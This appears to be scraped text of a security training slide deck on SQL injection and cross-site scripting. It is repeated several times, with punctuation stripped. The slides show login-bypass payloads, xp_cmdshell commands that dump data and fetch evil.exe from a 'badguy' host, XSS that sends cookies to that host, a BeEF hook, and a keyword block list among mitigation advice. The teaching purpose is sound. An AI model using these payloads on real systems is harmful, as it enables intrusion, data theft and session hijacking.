
35

Step 4 Command Injection

We can use XP_CMDSHELL to dump all the

data

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL bcp SELECT

FROM insecure_appusers queryout

cwebappdumptxt ndashT -c-- AND

password =

36

Step 4 Command Injection

XP_CMDSHELL could also be used to transfer

files

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL bitsadmin

transfer n httpbadguyevilexe

cevilexe-- AND

password =

37

Step 4 Command Injection

Establish an outgoing interactive session

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL cmd c

evilexe-- AND

password =

38

OMG What have we done

bull Found an SQL injection vulnerability

bull Bypassed password security

bull Logged into multiple user accounts

bull Extracted raw data

bull Executed arbitrary commands

bull Recovered system passwords

39

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

40

What is Cross-Site Scripting

bull A cross-site scripting (XSS) vulnerability

allows an attacker to execute malicious

client-side code in a userrsquos browser on an

otherwise trusted site

bull XSS attacks the users of a web application

bull Two primary types ndash Reflected amp Stored

bull Around since 1999hellip thatrsquos 15 years

41

Reflected XSS

Legitimate Site

1 Link containing XSS

2 C

licks

on

Lin

kAttacker Site

3 R

en

de

red

XSS

4 XSS Paylo

ad Execute

d

VictimAttacker

42

Stored XSS

1 Embeded XSS

2 B

row

sed

to

Exp

loit

Attacker Site

3 R

en

de

red

XSS

4 XSS Payload Executed

VictimAttacker

Legitimate Site

43

Whatrsquos the Risk

bull Stolen user sessions

bull Malware installation

bull Keystroke loggers

bull Privilege escalation

bull Social engineering

44

What Causes XSS

bull Unvalidated and unsanitized user input

bull Improperly encoded output

45

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

46

Step 1 Break the Application

bull Let us search (as our developers

intended us to)

httpgoodguyterm=alice

47

Step 1 Break the Application

bull Let us get a little mischievous with our

search

httpgoodguyterm=ltfont size=10

color=redgtHowdyltfontgt

48

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

49

Step 2 Run Arbitrary Scripts

bull Let us see if we can execute some

JavaScript

httpgoodguyterm=

ltscriptgtalert(documentcookie)ltscriptgt

50

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

51

Step 3 Steal a Session

bull Steal the userrsquos session by sending the

cookie back to our server

httpgoodguyterm=ltscriptgt$get(httpbadg

uy+documentcookie)ltscriptgt

52

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

53

Step 4 Control the Browser

bull What could we do if we controlled the

browser

bull Install malware

bull Keystroke logging

bull Social engineering

bull Malicious redirects

54

Step 4 Control the Browser

bull Got BeEF ndash The Browser Exploitation

Framework

bull Man-in-the-browser

bull Keystoke logging

bull Browser exploitation with Metasploit

bull Social engineering

55

Step 4 Control the Browser

bull Hook the userrsquos browser so we can

control it

httpgoodguyterm=

ltscript src=ldquohttpbadguyhookjsgtltscriptgt

56

OMG What have we done

bull Executed arbitrary scripts

bull Ran nasty code to steal a session

bull Took control of a browser

57

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Mitigation

58

Mitigation Against Attacks

bull Input validation

bull Check input for validity

bull Only accept good input

bull Reject bad input

59

hellipSpecifically Against SQLi

bull Use parameterized queries

bull Use stored procedures

bull Validate amp properly escape user input

bull For example username=OMalley becomes

OMalley or OMalley

bull However not all SQL injection uses quotes

bull userid=4 DROP TABLE usersmdash

60

hellipSpecifically Against XSS

bull Context encode user input

bull HTML - escape entities

bull For example search=ltscriptgt becomes

lsquoampltscriptampgt

bull However not all cross-site scripting uses

brackets

bull onMouseOver=dosomethingnasty

61

Mitigation Against Attacks (cont)

bull Accept only good input

bull Check that the character set matches what is

expected

bull Example [A-Za-z0-9]

bull Remember that some languages can interpret

numbers as strings

bull Example if($id gt 2) where $id = ldquo4 DROP TABLE

users--rdquo

62

Mitigation Against Attacks (cont)

bull Reject bad input when appropriate

bull SQLi - select insert update delete drop

union -- xp_cmdshell etc

bull XSS - ltscriptgt onMouseOver onMouseClick

javascript iframe etc

bull davidroperexamplecom Oops

63

Mitigation Against Attacks (cont)

httpxkcdcom327

64

General Mitigation

bull Education

bull Research the OWASP Top Ten

bull Try OWASP WebGoat yourself to learn how

flaws work

bull Learn to spot bad code amp bad design

65

General Mitigation (cont)

bull Reviews

bull Have expert code review and penetration testing

performed periodically

bull Technology (helps but doesnrsquot replace good

code)

bull Web Application Firewalls (WAF)

bull Intrusion Prevention Systems (IPS)

bull Intrusion Detection Systems (IDS)

bull File Integrity Monitoring (FIM)

66

Mitigation by Role

bull Customers

bull Demand web applications that are secure

bull Make it part of product purchase criteria

67

Mitigation by Role (cont)

bull Developers

bull Take responsibility for securing your code

bull Update your skillsets

bull Software Development Organizations

bull Start with security requirements covering

OWASP Top Ten

bull Use secure coding guidelines

68

Mitigation by Role (cont)

bull Managers

bull Split your security budget between network

and application

bull Make security part of developer performance

reviews

69

References

bull The Open Web Application Security Project

(OWASP)

wwwowasporg

bull Ponemon Institute (Research)

wwwponemonorglibrary

70

www403labscom

877403LABS

Thank You

Zach Grace

zgrace403labscom

Page 16: Cracking the Perimeter via Web Application Hacking · • Web Application Security and OWASP • SQL Injection • Cross-Site Scripting • Step 1: Break the Application • Step

SQL Structure

bull Our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

16

SQL Structure

bull Our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

17

SQL Structure

bull Our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

18

What is SQL Injection

bull SQL injection is an attack that changes

the expected input to run database

commands that were not originally

intended

bull Typically ranked as the highest risk web

application vulnerability

bull Around since 1998hellip thatrsquos 16 years

19

Two-Tier SQL Injection

Database ServerWeb Server

Code Execution

DMZ Network

Internal Network

Attacker

20

Whatrsquos the Risk

bull Exfiltration of database contents

bull OS command execution

bull Authentication bypass

bull Bypass DMZ restrictions and security

controls

bull Website defacement

21

What Causes SQL Injection

bull Unvalidated and unsanitized user input

bull Dynamic SQL queries

22

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extracting Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

23

Step 1 Break the Application

bull In order to test an application we want to

provide input it is not expecting

bull Our SQL query

SELECT

FROM users

WHERE username = AND

password =

24

Step 1 Break the Application

bull This produces a database error

bull [Unclosed quotation mark after the character

string and password =

25

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

26

Step 2 Bypass Authentication

Revisit our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

27

Step 2 Bypass Authentication

Rewrite our SQL query

SELECT

FROM users

WHERE username = OR 1=1-- AND

password =

28

Step 2 Bypass Authentication

Rewrite our SQL query

SELECT

FROM users

WHERE username = jsmith-- AND

password =

29

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

30

Step 3 Extract Data

bull Methods for extraction

bull Manual

bull Individual queries (tedious)

bull ldquoBackuprdquo methods

bull Automated tools

bull sqlmap

bull Havij

31

Step 3 Extract Data

bull sqlmap

bull Automatic SQL injection and database

takeover tool

bull Extract database table data

bull Execute arbitrary database commands

bull Create out-of-band communication channels

32

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

33

Step 4 Command Injection

bull Microsoft SQL Server contains an

extended procedure known as

ldquoXP_CMDSHELLrdquo

bull Operating-system command shell

bull Usually administrative-level privileges

34

Step 4 Command Injection

We can use XP_CMDSHELL to run commands

on the database server

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL dir gt

cwebappdirtxt-- AND

password =

35

Step 4 Command Injection

We can use XP_CMDSHELL to dump all the

data

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL bcp SELECT

FROM insecure_appusers queryout

cwebappdumptxt ndashT -c-- AND

password =

36

Step 4 Command Injection

XP_CMDSHELL could also be used to transfer

files

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL bitsadmin

transfer n httpbadguyevilexe

cevilexe-- AND

password =

37

Step 4 Command Injection

Establish an outgoing interactive session

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL cmd c

evilexe-- AND

password =

38

OMG What have we done

bull Found an SQL injection vulnerability

bull Bypassed password security

bull Logged into multiple user accounts

bull Extracted raw data

bull Executed arbitrary commands

bull Recovered system passwords

39

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

40

What is Cross-Site Scripting

bull A cross-site scripting (XSS) vulnerability

allows an attacker to execute malicious

client-side code in a userrsquos browser on an

otherwise trusted site

bull XSS attacks the users of a web application

bull Two primary types ndash Reflected amp Stored

bull Around since 1999hellip thatrsquos 15 years

41

Reflected XSS

Legitimate Site

1 Link containing XSS

2 C

licks

on

Lin

kAttacker Site

3 R

en

de

red

XSS

4 XSS Paylo

ad Execute

d

VictimAttacker

42

Stored XSS

1 Embeded XSS

2 B

row

sed

to

Exp

loit

Attacker Site

3 R

en

de

red

XSS

4 XSS Payload Executed

VictimAttacker

Legitimate Site

43

Whatrsquos the Risk

bull Stolen user sessions

bull Malware installation

bull Keystroke loggers

bull Privilege escalation

bull Social engineering

44

What Causes XSS

bull Unvalidated and unsanitized user input

bull Improperly encoded output

45

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

46

Step 1 Break the Application

bull Let us search (as our developers

intended us to)

httpgoodguyterm=alice

47

Step 1 Break the Application

bull Let us get a little mischievous with our

search

httpgoodguyterm=ltfont size=10

color=redgtHowdyltfontgt

48

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

49

Step 2 Run Arbitrary Scripts

bull Let us see if we can execute some

JavaScript

httpgoodguyterm=

ltscriptgtalert(documentcookie)ltscriptgt

50

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

51

Step 3 Steal a Session

bull Steal the userrsquos session by sending the

cookie back to our server

httpgoodguyterm=ltscriptgt$get(httpbadg

uy+documentcookie)ltscriptgt

52

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

53

Step 4 Control the Browser

bull What could we do if we controlled the

browser

bull Install malware

bull Keystroke logging

bull Social engineering

bull Malicious redirects

54

Step 4 Control the Browser

bull Got BeEF ndash The Browser Exploitation

Framework

bull Man-in-the-browser

bull Keystoke logging

bull Browser exploitation with Metasploit

bull Social engineering

55

Step 4 Control the Browser

bull Hook the userrsquos browser so we can

control it

httpgoodguyterm=

ltscript src=ldquohttpbadguyhookjsgtltscriptgt

56

OMG What have we done

bull Executed arbitrary scripts

bull Ran nasty code to steal a session

bull Took control of a browser

57

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Mitigation

58

Mitigation Against Attacks

bull Input validation

bull Check input for validity

bull Only accept good input

bull Reject bad input

59

hellipSpecifically Against SQLi

bull Use parameterized queries

bull Use stored procedures

bull Validate amp properly escape user input

bull For example username=OMalley becomes

OMalley or OMalley

bull However not all SQL injection uses quotes

bull userid=4 DROP TABLE usersmdash

60

hellipSpecifically Against XSS

bull Context encode user input

bull HTML - escape entities

bull For example search=ltscriptgt becomes

lsquoampltscriptampgt

bull However not all cross-site scripting uses

brackets

bull onMouseOver=dosomethingnasty

61

Mitigation Against Attacks (cont)

bull Accept only good input

bull Check that the character set matches what is

expected

bull Example [A-Za-z0-9]

bull Remember that some languages can interpret

numbers as strings

bull Example if($id gt 2) where $id = ldquo4 DROP TABLE

users--rdquo

62

Mitigation Against Attacks (cont)

bull Reject bad input when appropriate

bull SQLi - select insert update delete drop

union -- xp_cmdshell etc

bull XSS - ltscriptgt onMouseOver onMouseClick

javascript iframe etc

bull davidroperexamplecom Oops

63

Mitigation Against Attacks (cont)

httpxkcdcom327

64

General Mitigation

bull Education

bull Research the OWASP Top Ten

bull Try OWASP WebGoat yourself to learn how

flaws work

bull Learn to spot bad code amp bad design

65

General Mitigation (cont)

bull Reviews

bull Have expert code review and penetration testing

performed periodically

bull Technology (helps but doesnrsquot replace good

code)

bull Web Application Firewalls (WAF)

bull Intrusion Prevention Systems (IPS)

bull Intrusion Detection Systems (IDS)

bull File Integrity Monitoring (FIM)

66

Mitigation by Role

bull Customers

bull Demand web applications that are secure

bull Make it part of product purchase criteria

67

Mitigation by Role (cont)

bull Developers

bull Take responsibility for securing your code

bull Update your skillsets

bull Software Development Organizations

bull Start with security requirements covering

OWASP Top Ten

bull Use secure coding guidelines

68

Mitigation by Role (cont)

bull Managers

bull Split your security budget between network

and application

bull Make security part of developer performance

reviews

69

References

bull The Open Web Application Security Project

(OWASP)

wwwowasporg

bull Ponemon Institute (Research)

wwwponemonorglibrary

70

www403labscom

877403LABS

Thank You

Zach Grace

zgrace403labscom

Page 17: Cracking the Perimeter via Web Application Hacking · • Web Application Security and OWASP • SQL Injection • Cross-Site Scripting • Step 1: Break the Application • Step

SQL Structure

bull Our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

17

SQL Structure

bull Our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

18

What is SQL Injection

bull SQL injection is an attack that changes

the expected input to run database

commands that were not originally

intended

bull Typically ranked as the highest risk web

application vulnerability

bull Around since 1998hellip thatrsquos 16 years

19

Two-Tier SQL Injection

Database ServerWeb Server

Code Execution

DMZ Network

Internal Network

Attacker

20

Whatrsquos the Risk

bull Exfiltration of database contents

bull OS command execution

bull Authentication bypass

bull Bypass DMZ restrictions and security

controls

bull Website defacement

21

What Causes SQL Injection

bull Unvalidated and unsanitized user input

bull Dynamic SQL queries

22

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extracting Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

23

Step 1 Break the Application

bull In order to test an application we want to

provide input it is not expecting

bull Our SQL query

SELECT

FROM users

WHERE username = AND

password =

24

Step 1 Break the Application

bull This produces a database error

bull [Unclosed quotation mark after the character

string and password =

25

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

26

Step 2 Bypass Authentication

Revisit our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

27

Step 2 Bypass Authentication

Rewrite our SQL query

SELECT

FROM users

WHERE username = OR 1=1-- AND

password =

28

Step 2 Bypass Authentication

Rewrite our SQL query

SELECT

FROM users

WHERE username = jsmith-- AND

password =

29

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

30

Step 3 Extract Data

bull Methods for extraction

bull Manual

bull Individual queries (tedious)

bull ldquoBackuprdquo methods

bull Automated tools

bull sqlmap

bull Havij

31

Step 3 Extract Data

bull sqlmap

bull Automatic SQL injection and database

takeover tool

bull Extract database table data

bull Execute arbitrary database commands

bull Create out-of-band communication channels

32

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

33

Step 4 Command Injection

bull Microsoft SQL Server contains an

extended procedure known as

ldquoXP_CMDSHELLrdquo

bull Operating-system command shell

bull Usually administrative-level privileges

34

Step 4 Command Injection

We can use XP_CMDSHELL to run commands

on the database server

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL dir gt

cwebappdirtxt-- AND

password =

35

Step 4 Command Injection

We can use XP_CMDSHELL to dump all the

data

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL bcp SELECT

FROM insecure_appusers queryout

cwebappdumptxt ndashT -c-- AND

password =

36

Step 4 Command Injection

XP_CMDSHELL could also be used to transfer

files

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL bitsadmin

transfer n httpbadguyevilexe

cevilexe-- AND

password =

37

Step 4 Command Injection

Establish an outgoing interactive session

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL cmd c

evilexe-- AND

password =

38

OMG What have we done

bull Found an SQL injection vulnerability

bull Bypassed password security

bull Logged into multiple user accounts

bull Extracted raw data

bull Executed arbitrary commands

bull Recovered system passwords

39

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

40

What is Cross-Site Scripting

bull A cross-site scripting (XSS) vulnerability

allows an attacker to execute malicious

client-side code in a userrsquos browser on an

otherwise trusted site

bull XSS attacks the users of a web application

bull Two primary types ndash Reflected amp Stored

bull Around since 1999hellip thatrsquos 15 years

41

Reflected XSS

Legitimate Site

1 Link containing XSS

2 C

licks

on

Lin

kAttacker Site

3 R

en

de

red

XSS

4 XSS Paylo

ad Execute

d

VictimAttacker

42

Stored XSS

1 Embeded XSS

2 B

row

sed

to

Exp

loit

Attacker Site

3 R

en

de

red

XSS

4 XSS Payload Executed

VictimAttacker

Legitimate Site

43

Whatrsquos the Risk

bull Stolen user sessions

bull Malware installation

bull Keystroke loggers

bull Privilege escalation

bull Social engineering

44

What Causes XSS

bull Unvalidated and unsanitized user input

bull Improperly encoded output

45

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

46

Step 1 Break the Application

bull Let us search (as our developers

intended us to)

httpgoodguyterm=alice

47

Step 1 Break the Application

bull Let us get a little mischievous with our

search

httpgoodguyterm=ltfont size=10

color=redgtHowdyltfontgt

48

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

49

Step 2 Run Arbitrary Scripts

bull Let us see if we can execute some

JavaScript

httpgoodguyterm=

ltscriptgtalert(documentcookie)ltscriptgt

50

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

51

Step 3 Steal a Session

bull Steal the userrsquos session by sending the

cookie back to our server

httpgoodguyterm=ltscriptgt$get(httpbadg

uy+documentcookie)ltscriptgt

52

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

53

Step 4 Control the Browser

bull What could we do if we controlled the

browser

bull Install malware

bull Keystroke logging

bull Social engineering

bull Malicious redirects

54

Step 4 Control the Browser

bull Got BeEF ndash The Browser Exploitation

Framework

bull Man-in-the-browser

bull Keystoke logging

bull Browser exploitation with Metasploit

bull Social engineering

55

Step 4 Control the Browser

bull Hook the userrsquos browser so we can

control it

httpgoodguyterm=

ltscript src=ldquohttpbadguyhookjsgtltscriptgt

56

OMG What have we done

bull Executed arbitrary scripts

bull Ran nasty code to steal a session

bull Took control of a browser

57

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Mitigation

58

Mitigation Against Attacks

bull Input validation

bull Check input for validity

bull Only accept good input

bull Reject bad input

59

hellipSpecifically Against SQLi

bull Use parameterized queries

bull Use stored procedures

bull Validate amp properly escape user input

bull For example username=OMalley becomes

OMalley or OMalley

bull However not all SQL injection uses quotes

bull userid=4 DROP TABLE usersmdash

60

hellipSpecifically Against XSS

bull Context encode user input

bull HTML - escape entities

bull For example search=ltscriptgt becomes

lsquoampltscriptampgt

bull However not all cross-site scripting uses

brackets

bull onMouseOver=dosomethingnasty

61

Mitigation Against Attacks (cont)

bull Accept only good input

bull Check that the character set matches what is

expected

bull Example [A-Za-z0-9]

bull Remember that some languages can interpret

numbers as strings

bull Example if($id gt 2) where $id = ldquo4 DROP TABLE

users--rdquo

62

Mitigation Against Attacks (cont)

bull Reject bad input when appropriate

bull SQLi - select insert update delete drop

union -- xp_cmdshell etc

bull XSS - ltscriptgt onMouseOver onMouseClick

javascript iframe etc

bull davidroperexamplecom Oops

63

Mitigation Against Attacks (cont)

httpxkcdcom327

64

General Mitigation

bull Education

bull Research the OWASP Top Ten

bull Try OWASP WebGoat yourself to learn how

flaws work

bull Learn to spot bad code amp bad design

65

General Mitigation (cont)

bull Reviews

bull Have expert code review and penetration testing

performed periodically

bull Technology (helps but doesnrsquot replace good

code)

bull Web Application Firewalls (WAF)

bull Intrusion Prevention Systems (IPS)

bull Intrusion Detection Systems (IDS)

bull File Integrity Monitoring (FIM)

66

Mitigation by Role

bull Customers

bull Demand web applications that are secure

bull Make it part of product purchase criteria

67

Mitigation by Role (cont)

bull Developers

bull Take responsibility for securing your code

bull Update your skillsets

bull Software Development Organizations

bull Start with security requirements covering

OWASP Top Ten

bull Use secure coding guidelines

68

Mitigation by Role (cont)

bull Managers

bull Split your security budget between network

and application

bull Make security part of developer performance

reviews

69

References

bull The Open Web Application Security Project

(OWASP)

wwwowasporg

bull Ponemon Institute (Research)

wwwponemonorglibrary

70

www403labscom

877403LABS

Thank You

Zach Grace

zgrace403labscom

Page 18: Cracking the Perimeter via Web Application Hacking · • Web Application Security and OWASP • SQL Injection • Cross-Site Scripting • Step 1: Break the Application • Step

SQL Structure

bull Our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

18

What is SQL Injection

bull SQL injection is an attack that changes

the expected input to run database

commands that were not originally

intended

bull Typically ranked as the highest risk web

application vulnerability

bull Around since 1998hellip thatrsquos 16 years

19

Two-Tier SQL Injection

Database ServerWeb Server

Code Execution

DMZ Network

Internal Network

Attacker

20

Whatrsquos the Risk

bull Exfiltration of database contents

bull OS command execution

bull Authentication bypass

bull Bypass DMZ restrictions and security

controls

bull Website defacement

21

What Causes SQL Injection

bull Unvalidated and unsanitized user input

bull Dynamic SQL queries

22

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extracting Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

23

Step 1 Break the Application

bull In order to test an application we want to

provide input it is not expecting

bull Our SQL query

SELECT

FROM users

WHERE username = AND

password =

24

Step 1 Break the Application

bull This produces a database error

bull [Unclosed quotation mark after the character

string and password =

25

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

26

Step 2 Bypass Authentication

Revisit our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

27

Step 2 Bypass Authentication

Rewrite our SQL query

SELECT

FROM users

WHERE username = OR 1=1-- AND

password =

28

Step 2 Bypass Authentication

Rewrite our SQL query

SELECT

FROM users

WHERE username = jsmith-- AND

password =

29

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

30

Step 3 Extract Data

bull Methods for extraction

bull Manual

bull Individual queries (tedious)

bull ldquoBackuprdquo methods

bull Automated tools

bull sqlmap

bull Havij

31

Step 3 Extract Data

bull sqlmap

bull Automatic SQL injection and database

takeover tool

bull Extract database table data

bull Execute arbitrary database commands

bull Create out-of-band communication channels

32

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

33

Step 4 Command Injection

bull Microsoft SQL Server contains an

extended procedure known as

ldquoXP_CMDSHELLrdquo

bull Operating-system command shell

bull Usually administrative-level privileges

34

Step 4 Command Injection

We can use XP_CMDSHELL to run commands

on the database server

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL dir gt

cwebappdirtxt-- AND

password =

35

Step 4 Command Injection

We can use XP_CMDSHELL to dump all the

data

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL bcp SELECT

FROM insecure_appusers queryout

cwebappdumptxt ndashT -c-- AND

password =

36

Step 4 Command Injection

XP_CMDSHELL could also be used to transfer

files

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL bitsadmin

transfer n httpbadguyevilexe

cevilexe-- AND

password =

37

Step 4 Command Injection

Establish an outgoing interactive session

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL cmd c

evilexe-- AND

password =

38

OMG What have we done

bull Found an SQL injection vulnerability

bull Bypassed password security

bull Logged into multiple user accounts

bull Extracted raw data

bull Executed arbitrary commands

bull Recovered system passwords

39

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

40

What is Cross-Site Scripting

bull A cross-site scripting (XSS) vulnerability

allows an attacker to execute malicious

client-side code in a userrsquos browser on an

otherwise trusted site

bull XSS attacks the users of a web application

bull Two primary types ndash Reflected amp Stored

bull Around since 1999hellip thatrsquos 15 years

41

Reflected XSS

Legitimate Site

1 Link containing XSS

2 C

licks

on

Lin

kAttacker Site

3 R

en

de

red

XSS

4 XSS Paylo

ad Execute

d

VictimAttacker

42

Stored XSS

1 Embeded XSS

2 B

row

sed

to

Exp

loit

Attacker Site

3 R

en

de

red

XSS

4 XSS Payload Executed

VictimAttacker

Legitimate Site

43

Whatrsquos the Risk

bull Stolen user sessions

bull Malware installation

bull Keystroke loggers

bull Privilege escalation

bull Social engineering

44

What Causes XSS

bull Unvalidated and unsanitized user input

bull Improperly encoded output

45

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

46

Step 1 Break the Application

bull Let us search (as our developers

intended us to)

httpgoodguyterm=alice

47

Step 1 Break the Application

bull Let us get a little mischievous with our

search

httpgoodguyterm=ltfont size=10

color=redgtHowdyltfontgt

48

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

49

Step 2 Run Arbitrary Scripts

bull Let us see if we can execute some

JavaScript

httpgoodguyterm=

ltscriptgtalert(documentcookie)ltscriptgt

50

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

51

Step 3 Steal a Session

bull Steal the userrsquos session by sending the

cookie back to our server

httpgoodguyterm=ltscriptgt$get(httpbadg

uy+documentcookie)ltscriptgt

52

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

53

Step 4 Control the Browser

bull What could we do if we controlled the

browser

bull Install malware

bull Keystroke logging

bull Social engineering

bull Malicious redirects

54

Step 4 Control the Browser

bull Got BeEF ndash The Browser Exploitation

Framework

bull Man-in-the-browser

bull Keystoke logging

bull Browser exploitation with Metasploit

bull Social engineering

55

Step 4 Control the Browser

bull Hook the userrsquos browser so we can

control it

httpgoodguyterm=

ltscript src=ldquohttpbadguyhookjsgtltscriptgt

56

